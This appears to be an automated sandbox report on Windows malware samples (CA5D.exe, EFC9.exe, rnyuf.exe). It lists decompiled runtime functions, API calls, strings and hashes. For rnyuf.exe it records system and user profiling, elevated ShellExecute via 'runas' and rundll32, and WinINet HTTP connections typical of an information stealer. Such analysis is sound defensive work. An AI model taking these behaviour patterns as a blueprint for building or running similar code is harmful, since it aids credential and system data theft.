				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(?,00000009,?,?,?,00000000,?), ref: 00415338
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000,?), ref: 004153A6

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0401372B, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04013751

Part of subcall function 04013576: __fltout2.LIBCMT ref: 040135A2

__cftog_l.LIBCMT ref: 04013777
__cftoe_l.LIBCMT ref: 040137A9

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 6778c3b2422c89af880e35f3c60a3ce68586456aaaf844f348855f2b56d3f8fc
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3F119E7200018EBBEF225F84CC45CEE3F63BB48358B498814FE1869030D332E5B1AB81

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CA5D.exe PID: 5380 Parent PID: 3292 CA5D.exeCOMMON

Executed Functions

Function 02C05138, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 02C0519F

Strings

WQI2, xrefs: 02C05157

Memory Dump Source

Source File: 0000001C.00000002.573910381.0000000002C00000.00000040.00000001.sdmp, Offset: 02C00000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID: WQI2
API String ID: 2863861424-4086040908
Opcode ID: 746d23cac452ffb9f5c7e7f906b227bbf8fbc78965d80e1aeb73b86f9e4583be
Instruction ID: df889a9bf0f9ae602d56710a67f975d8cee76cf2542b317d3c31119d2430ef8f
Opcode Fuzzy Hash: 746d23cac452ffb9f5c7e7f906b227bbf8fbc78965d80e1aeb73b86f9e4583be
Instruction Fuzzy Hash: D51155B1D002498FDB10CFA9C8857EFBBF5AB88318F24882AC459A7240D738A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02C05140, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 02C0519F

Strings

WQI2, xrefs: 02C05157

Memory Dump Source

Source File: 0000001C.00000002.573910381.0000000002C00000.00000040.00000001.sdmp, Offset: 02C00000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID: WQI2
API String ID: 2863861424-4086040908
Opcode ID: bf2ef07fd34c42629bdef74c278aad3f3c186521fcf0f89767327b86c6c96309
Instruction ID: 9998a41521f857b5023890000ec5bd2b1d4ae533f700d74574c16e4b2e774c3a
Opcode Fuzzy Hash: bf2ef07fd34c42629bdef74c278aad3f3c186521fcf0f89767327b86c6c96309
Instruction Fuzzy Hash: A8110675D003498FDB10DFA9C8457DFBBF9AB88318F24881AC519A7640D775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 008FD4DC, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.512836188.00000000008FD000.00000040.00000001.sdmp, Offset: 008FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 849d6d1b2d5673169aea0cec52459f61c7f546d2d332fe460355ca58ed1cedbc
Instruction ID: 4edca84f4304313773c0e2fd44b713187b0c160f0c8f4f06dbe5b9e476c6ef9e
Opcode Fuzzy Hash: 849d6d1b2d5673169aea0cec52459f61c7f546d2d332fe460355ca58ed1cedbc
Instruction Fuzzy Hash: C821F471504308DFDB00DF60D8C0B6ABB66FB98318F248569EA054B256C336D846C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 008FD3F0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.512836188.00000000008FD000.00000040.00000001.sdmp, Offset: 008FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daad60b3de86225bb4bd5ad0cde1c87fb6a9e22f6228583389558c53970cccc
Instruction ID: 1dd4ad251ce1c3e7cc12c3127c76d8337f269ec93ae739b8241f511b48bab15f
Opcode Fuzzy Hash: 9daad60b3de86225bb4bd5ad0cde1c87fb6a9e22f6228583389558c53970cccc
Instruction Fuzzy Hash: 88210671504308DFDB01DF20D8C4F66BB66FBA8324F34C969EA058B246C336E856D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 008FD4D7, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.512836188.00000000008FD000.00000040.00000001.sdmp, Offset: 008FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7488fa997b074f2ac69b54c240354f02a5b4f7ab196f436c7ffb8243551c1b6
Instruction ID: a3a99b7b7e8048ed9108d973743348b90a6f22afb3ab1527fc6bb0f7d43debbb
Opcode Fuzzy Hash: a7488fa997b074f2ac69b54c240354f02a5b4f7ab196f436c7ffb8243551c1b6
Instruction Fuzzy Hash: 0211D376504384CFCB01CF10D5C4B26BF72FB98324F24C6A9DA094B656C336D85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008FD3EB, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.512836188.00000000008FD000.00000040.00000001.sdmp, Offset: 008FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7488fa997b074f2ac69b54c240354f02a5b4f7ab196f436c7ffb8243551c1b6
Instruction ID: cc8f5321d7bed8003fa3fa0d58c903e127bb7c9daba76f9d2245645d55cd273c
Opcode Fuzzy Hash: a7488fa997b074f2ac69b54c240354f02a5b4f7ab196f436c7ffb8243551c1b6
Instruction Fuzzy Hash: 5011D376504384CFCB11CF10D5C4B26BF72FB94320F24C6A9DA084B656C336E85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: EFC9.exe PID: 2416 Parent PID: 3292 EFC9.exeCOMMON

Executed Functions

Function 026FA17E, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 026FA1C6

Memory Dump Source

Source File: 00000020.00000002.467288147.00000000026F9000.00000040.00000001.sdmp, Offset: 026F9000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: aa6a03d3521f68bf6cb4dedd0ef8889ba4060e2e307548986213fd72f7298cbd
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 2EF096351007106FEB607BF5D88DB6F76E9AF49764F110628E746915C0DB70EC458A61

Uniqueness

Uniqueness Score: -1.00%

Function 026F9E3D, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 026F9E8E

Memory Dump Source

Source File: 00000020.00000002.467288147.00000000026F9000.00000040.00000001.sdmp, Offset: 026F9000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 3ce14e8e66a52a5e1ed2ad6be6dff4d6917f9404d89c9d100f302885e789f957
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: C9113C79A00208EFDB01DF98CA85E99BFF5AF08350F058094FA489B361D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rnyuf.exe PID: 2016 Parent PID: 2416 rnyuf.exeCOMMON

Executed Functions

Function 00406B90, Relevance: 57.2, APIs: 25, Strings: 5, Instructions: 4701networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0042CDDC,00000000,00000000,00000000,00000000), ref: 00406BBC
InternetConnectA.WININET(00000000,0040C50C,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00406BDE
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 00406C23

Strings

stoi argument out of range, xrefs: 004096EA, 0040AE2F
invalid stoi argument, xrefs: 004096B8, 004096E0, 0040ADFD, 0040AE25
5120, xrefs: 0040BBF2, 0040BDC5
:::, xrefs: 00409729, 0040979D
152138533219, xrefs: 0040934B, 004093F5, 0040A8E3, 0040AAF7, 0040AEA5

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: InternetOpen$ConnectHttpRequest
String ID: 152138533219$5120$:::$invalid stoi argument$stoi argument out of range
API String ID: 3864186401-2319865195
Opcode ID: 2ee1fb5c5c91b7ceed5b45e8bb541d3b1a19a0bb981c53c43fde17cd43867642
Instruction ID: 5e3e701c9e89102c05e3d31c799ff4722df3bdc0085161f5834632e8110141f4
Opcode Fuzzy Hash: 2ee1fb5c5c91b7ceed5b45e8bb541d3b1a19a0bb981c53c43fde17cd43867642
Instruction Fuzzy Hash: F0832971A002049BDF18EB78CD8579D7B72AF82304F10867EE405BB3D6D77D9A848B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0A0, Relevance: 14.4, APIs: 5, Strings: 2, Instructions: 2128libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00404010: GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00404066

Part of subcall function 004042C0: GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00404316

Part of subcall function 00401DA0: GetUserNameW.ADVAPI32(00000000,00404DB3), ref: 00401DCA
Part of subcall function 00401DA0: GetProcessHeap.KERNEL32(00000008,00404DB3), ref: 00401DDF
Part of subcall function 00401DA0: HeapAlloc.KERNEL32(00000000), ref: 00401DE2
Part of subcall function 00401DA0: GetUserNameW.ADVAPI32(00000000,00404DB3), ref: 00401DF0
Part of subcall function 00401DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00404DB3,00000000,?,?), ref: 00401E13
Part of subcall function 00401DA0: GetProcessHeap.KERNEL32(00000008,00404DB3), ref: 00401E1E
Part of subcall function 00401DA0: HeapAlloc.KERNEL32(00000000), ref: 00401E21
Part of subcall function 00401DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00401E31
Part of subcall function 00401DA0: HeapAlloc.KERNEL32(00000000), ref: 00401E34
Part of subcall function 00401DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00404DB3,00000000,?,?), ref: 00401E5E
Part of subcall function 00401DA0: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401E71

LoadLibraryA.KERNEL32(00000000), ref: 0040CABA
GetProcAddress.KERNEL32(00000000,000002A8), ref: 0040CB14
FreeLibrary.KERNEL32(00000000), ref: 0040CB1F
GetUserNameW.ADVAPI32(?,00000100), ref: 0040CB92
GetComputerNameExW.KERNEL32(00000002,?,00000100,?,?,?), ref: 0040CC72

Part of subcall function 0040EBB0: Concurrency::cancel_current_task.LIBCPMT ref: 0040EC64

Strings

7b2f25, xrefs: 0040CED8
152138533219, xrefs: 0040CD57

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$7b2f25
API String ID: 1144133639-867942324
Opcode ID: 7cddfceb89d17835dd5170c210f0bcf8d6aa72ec766dc568fb0ca8a5f2a5414c
Instruction ID: 0bd73f24f45cf7e28e6136c6e2998ace068b7995f76e21c40a2de5a44afdcdf1
Opcode Fuzzy Hash: 7cddfceb89d17835dd5170c210f0bcf8d6aa72ec766dc568fb0ca8a5f2a5414c
Instruction Fuzzy Hash: D5F21D71A002049BDB1CDB28CD8579EB776AF86304F1086BEF409B72D6DB3D9AC48B55

Uniqueness

Uniqueness Score: -1.00%

Function 0041E94F, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042B608), ref: 0041E9B9
_free.LIBCMT ref: 0041E9A7

Part of subcall function 00416601: HeapFree.KERNEL32(00000000,00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000), ref: 00416617
Part of subcall function 00416601: GetLastError.KERNEL32(00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000,00000000), ref: 00416629

_free.LIBCMT ref: 0041EB73

Strings

Pacific Daylight Time, xrefs: 0041EA57
Pacific Standard Time, xrefs: 0041EA28
rA, xrefs: 0041E962, 0041EA7D, 0041E968

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time$rA
API String ID: 2155170405-267287639
Opcode ID: 75eae15b0846c8863e583aec6a00883f95029b6411bf4ceedf29a0a4d71694cb
Instruction ID: 8f49c8c0b6aa7a82d0b5abe53b8f79067eb707d5a1f040f0b603246c05aad08d
Opcode Fuzzy Hash: 75eae15b0846c8863e583aec6a00883f95029b6411bf4ceedf29a0a4d71694cb
Instruction Fuzzy Hash: 8E51F875D002199BDB10EB67DC819EE77BCAF45354B14026FE921D32A1E738AEC18B58

Uniqueness

Uniqueness Score: -1.00%

Function 00404010, Relevance: 9.2, APIs: 6, Instructions: 235libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00404066
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 004040C0
GetProcAddress.KERNEL32(00000000), ref: 004040C7
GetNativeSystemInfo.KERNEL32(?), ref: 00404163

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: ccf92f9509510fd3d607fa283e48a438253378c55fd9dbb734bd051344eeba05
Instruction ID: 411608b20347411c50d7292324355363684884dd5f7210a362c46f6720a577c2
Opcode Fuzzy Hash: ccf92f9509510fd3d607fa283e48a438253378c55fd9dbb734bd051344eeba05
Instruction Fuzzy Hash: 9971F7B1E092049BEB24DB69DC497ADB7A4EB85314F5002BFED00A73D1E7798D9087C9

Uniqueness

Uniqueness Score: -1.00%

Function 00402A20, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 295COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000001,?,?,00000000,00000000), ref: 00402A8D

Strings

rundll32.exe, xrefs: 00402C7C
runas, xrefs: 00402A4F

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ExecuteShell
String ID: runas$rundll32.exe
API String ID: 587946157-4081450877
Opcode ID: ed5aaa18b8e421e4cc15fcb28a116f0d11f97a8ed2ce5915278064ddb3d55c09
Instruction ID: 58c1a2c4d8c6fdc34933577bfef0c7a2635c7e4f3b85d3d261b67217479011a6
Opcode Fuzzy Hash: ed5aaa18b8e421e4cc15fcb28a116f0d11f97a8ed2ce5915278064ddb3d55c09
Instruction Fuzzy Hash: 59A11B31600109ABEB18DF28CD89B9E7B66EF85304F50853EF814AB2D1D77DD985CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405F80, Relevance: 30.5, APIs: 16, Strings: 1, Instructions: 789COMMON

Download Yara Rule

Strings

(, xrefs: 00406604

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 877b1562d68b65a0b517941322de59735d8b9a58dfcbcb303a9adbd3f507fb82
Instruction ID: 83db7b9dd0cc85c855bac964e2663a521797ffb7c9fe688a15e0bc47cc3e57a7
Opcode Fuzzy Hash: 877b1562d68b65a0b517941322de59735d8b9a58dfcbcb303a9adbd3f507fb82
Instruction Fuzzy Hash: B3523B71A002049BDF28DF68CD85B9EB775AF46304F1082BEF405B73D2D7799A948B58

Uniqueness

Uniqueness Score: -1.00%

Function 00401DA0, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00404DB3), ref: 00401DCA
GetProcessHeap.KERNEL32(00000008,00404DB3), ref: 00401DDF
HeapAlloc.KERNEL32(00000000), ref: 00401DE2
GetUserNameW.ADVAPI32(00000000,00404DB3), ref: 00401DF0
LookupAccountNameW.ADVAPI32(00000000,?,00000000,00404DB3,00000000,?,?), ref: 00401E13
GetProcessHeap.KERNEL32(00000008,00404DB3), ref: 00401E1E
HeapAlloc.KERNEL32(00000000), ref: 00401E21
GetProcessHeap.KERNEL32(00000008,?), ref: 00401E31
HeapAlloc.KERNEL32(00000000), ref: 00401E34
LookupAccountNameW.ADVAPI32(00000000,?,00000000,00404DB3,00000000,?,?), ref: 00401E5E
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401E71
GetProcessHeap.KERNEL32(00000000,?), ref: 00401F02
HeapFree.KERNEL32(00000000), ref: 00401F0B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401F10
HeapFree.KERNEL32(00000000), ref: 00401F13
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401F1A
HeapFree.KERNEL32(00000000), ref: 00401F1D
LocalFree.KERNEL32(00000000), ref: 00401F22

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 5c21a9efbe99d5bf1771ec63adb79d22084bc28c83091b077b24019fb6065079
Instruction ID: 4a6e7371212e4031177453ca6cee8a06f2b2f205882cb2db8d7ee7705e149be0
Opcode Fuzzy Hash: 5c21a9efbe99d5bf1771ec63adb79d22084bc28c83091b077b24019fb6065079
Instruction Fuzzy Hash: D0516175E00209ABDB209FA5DC85FAFBBBCEF44344F10056AED05A3290DB749E05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBF8, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 0041D8B1: CreateFileW.KERNEL32(00000000,00000000,?,0041DCA1,?,?,00000000,?,0041DCA1,00000000,0000000C), ref: 0041D8CE

GetLastError.KERNEL32 ref: 0041DD0C
__dosmaperr.LIBCMT ref: 0041DD13
GetFileType.KERNEL32(00000000), ref: 0041DD1F
GetLastError.KERNEL32 ref: 0041DD29
__dosmaperr.LIBCMT ref: 0041DD32
CloseHandle.KERNEL32(00000000), ref: 0041DD52
CloseHandle.KERNEL32(0041649E), ref: 0041DE9F
GetLastError.KERNEL32 ref: 0041DED1
__dosmaperr.LIBCMT ref: 0041DED8

Strings

H, xrefs: 0041DE5D

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 9a8440aef2622c683d2d13f995b00e565d1da53da7fb6fa0b3153ce092178612
Instruction ID: f45d129419b544019537036c6fdf8d8cb41214967f35cc648163b538a8bd5e7e
Opcode Fuzzy Hash: 9a8440aef2622c683d2d13f995b00e565d1da53da7fb6fa0b3153ce092178612
Instruction Fuzzy Hash: 7CA12572E041449FCF199F68DC517EE7BB1AB0A324F14015EE811AF3A1DB389987CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041E774, Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E7F6
_free.LIBCMT ref: 0041E81A
_free.LIBCMT ref: 0041E9A7
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042B608), ref: 0041E9B9
_free.LIBCMT ref: 0041EB73

Strings

Pacific Daylight Time, xrefs: 0041EA57
Pacific Standard Time, xrefs: 0041EA28
rA, xrefs: 0041E962, 0041EA7D, 0041E968

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time$rA
API String ID: 597776487-267287639
Opcode ID: f6cbaea50f9b716ebc4e48419ffca26cc67f5680af40e376fc04189a9da7ef00
Instruction ID: 1857a6ca183768391e0a52e0c310cfa39c40fc20d62c3d7fb1d0d8c0ecb42507
Opcode Fuzzy Hash: f6cbaea50f9b716ebc4e48419ffca26cc67f5680af40e376fc04189a9da7ef00
Instruction Fuzzy Hash: 73C15879A002049BDB20AF6BCC41BEABBA9AF46354F14406FEC90D7391E7389DC1C758

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA50, Relevance: 13.6, APIs: 5, Strings: 2, Instructions: 1365libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00404010: GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00404066

Part of subcall function 004042C0: GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00404316

Part of subcall function 00401DA0: GetUserNameW.ADVAPI32(00000000,00404DB3), ref: 00401DCA
Part of subcall function 00401DA0: GetProcessHeap.KERNEL32(00000008,00404DB3), ref: 00401DDF
Part of subcall function 00401DA0: HeapAlloc.KERNEL32(00000000), ref: 00401DE2
Part of subcall function 00401DA0: GetUserNameW.ADVAPI32(00000000,00404DB3), ref: 00401DF0
